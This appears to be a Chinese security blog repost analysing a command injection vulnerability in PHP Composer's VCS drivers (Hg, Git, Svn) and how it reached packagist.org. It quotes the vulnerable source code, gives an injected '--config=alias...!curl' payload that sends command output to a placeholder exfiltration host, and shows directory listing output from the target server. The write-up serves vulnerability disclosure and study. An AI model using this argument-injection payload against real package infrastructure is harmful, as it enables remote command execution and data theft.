转自：SecTr安全团队
概述
技术细节
use SymfonyComponentProcessProcess;// [...]class ProcessExecutor{// [...]public function execute($command, &$output = null, $cwd = null){if (func_num_args() > 1) {return $this->doExecute($command, $cwd, false, $output);}return $this->doExecute($command, $cwd, false);}// [...]private function doExecute($command, $cwd, $tty, &$output = null){// [...]if (method_exists('SymfonyComponentProcessProcess', 'fromShellCommandline')) {// [1]$process = Process::fromShellCommandline($command, $cwd, null, null, static::getTimeout());} else {// [2]$process = new Process($command, $cwd, null, null, static::getTimeout());}if (!Platform::isWindows() && $tty) {try {$process->setTty(true);} catch (RuntimeException $e) {// ignore TTY enabling errors}}$callback = is_callable($output) ? $output : array($this, 'outputHandler');$process->run($callback);
public static function supports(IOInterface $io, Config $config, $url, $deep = false){if (preg_match('#(^git://|.git/?$|git(?:olite)?@|//git.|//github.com/)#i', $url)) {return true;}// [...]try {$gitUtil->runCommand(function ($url) {return 'git ls-remote --heads ' . ProcessExecutor::escape($url); // [1]}, $url, sys_get_temp_dir());} catch (RuntimeException $e) {return false;}
composer/src/Composer/Repository/Vcs/SvnDriver.php
public static function supports(IOInterface $io, Config $config, $url, $deep = false){$url = self::normalizeUrl($url);if (preg_match('#(^svn://|^svn+ssh://|svn.)#i', $url)) {return true;}// [...]$process = new ProcessExecutor($io);$exit = $process->execute("svn info --non-interactive ".ProcessExecutor::escape($url),$ignoredOutput);
composer/src/Composer/Repository/Vcs/HgDriver.php
public static function supports(IOInterface $io, Config $config, $url, $deep = false){if (preg_match('#(^(?:https?|ssh)://(?:[^@]+@)?bitbucket.org|https://(?:.*?).kilnhg.com)#i', $url)) {return true;}// [...]$process = new ProcessExecutor($io);$exit = $process->execute(sprintf('hg identify %s', ProcessExecutor::escape($url)), $ignored);return $exit === 0;}
packagist.org入侵
Packagist.org将依靠composer的API以在创建过程中获取软件包，从而支持各种VCS，例如Git、Subversion、Mercurial等。如packagist/src/Entity/Package.php所示，它将执行以下操作：
packagist/src/Entity/Package.php
$io = new NullIO();$config = Factory::createConfig();$io->loadConfiguration($config);$httpDownloader = new HttpDownloader($io, $config);$repository = new VcsRepository(['url' => $this->repository], $io, $config, $httpDownloader); // [1]$driver = $this->vcsDriver = $repository->getDriver(); // [2]if (!$driver) {return;}$information = $driver->getComposerInformation($driver->getRootIdentifier());if (!isset($information['name'])) {return;}if (null === $this->getName()) {$this->setName(trim($information['name']));}
注释[1]处的VcsRepository()类来自Composer，注释[2]处调用的getDrive()函数将触发对以下VCS驱动器的support()和initialize()方法的调用：
-
GitHubDriver
-
GitLabDriver
-
GitBitbucketDriver
-
GitDriver
-
HgBitbucketDriver
-
HgDriver
-
PerforceDriver
-
FossilDriver
-
SvnDriver
漏洞利用
-config=alias.identify=!curl http://exfiltration-host.tld --data “$(ls -alh)”total 120Kdrwxrwxr-x 9 composer composer 4.0K Apr 21 23:19 .dr-xr-xr-x 15 composer composer 4.0K Apr 20 07:38 ..-r--r--r-- 1 composer composer 8.7K Apr 20 07:38 .htaccess-r--r--r-- 1 composer composer 1.3K Apr 20 07:38 app.php-r--r--r-- 1 composer composer 8.2K Apr 20 07:38 apple-touch-icon-precomposed.png-r--r--r-- 1 composer composer 8.2K Apr 20 07:38 apple-touch-icon.pngdr-xr-xr-x 3 composer composer 4.0K Jan 13 14:35 bundlesdr-xr-xr-x 4 composer composer 4.0K Apr 20 07:38 css [...]lrwxrwxrwx 1 composer composer 15 Aug 13 2020 packages.json -> p/packages.jsonlrwxrwxrwx 1 composer composer 18 Aug 13 2020 packages.json.gz -> p/packages.json.gz-r--r--r-- 1 composer composer 106 Apr 20 07:38 robots.txt-r--r--r-- 1 composer composer 798 Apr 20 07:38 search.osddr-xr-xr-x 2 composer composer 4.0K Apr 20 07:38 static-error-r--r--r-- 1 composer composer 8.8K Apr 20 07:38 touch-icon-192x192.png
原文始发于微信公众号（橘猫学安全）：PHP Composer命令注入漏洞详情及利用方式
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论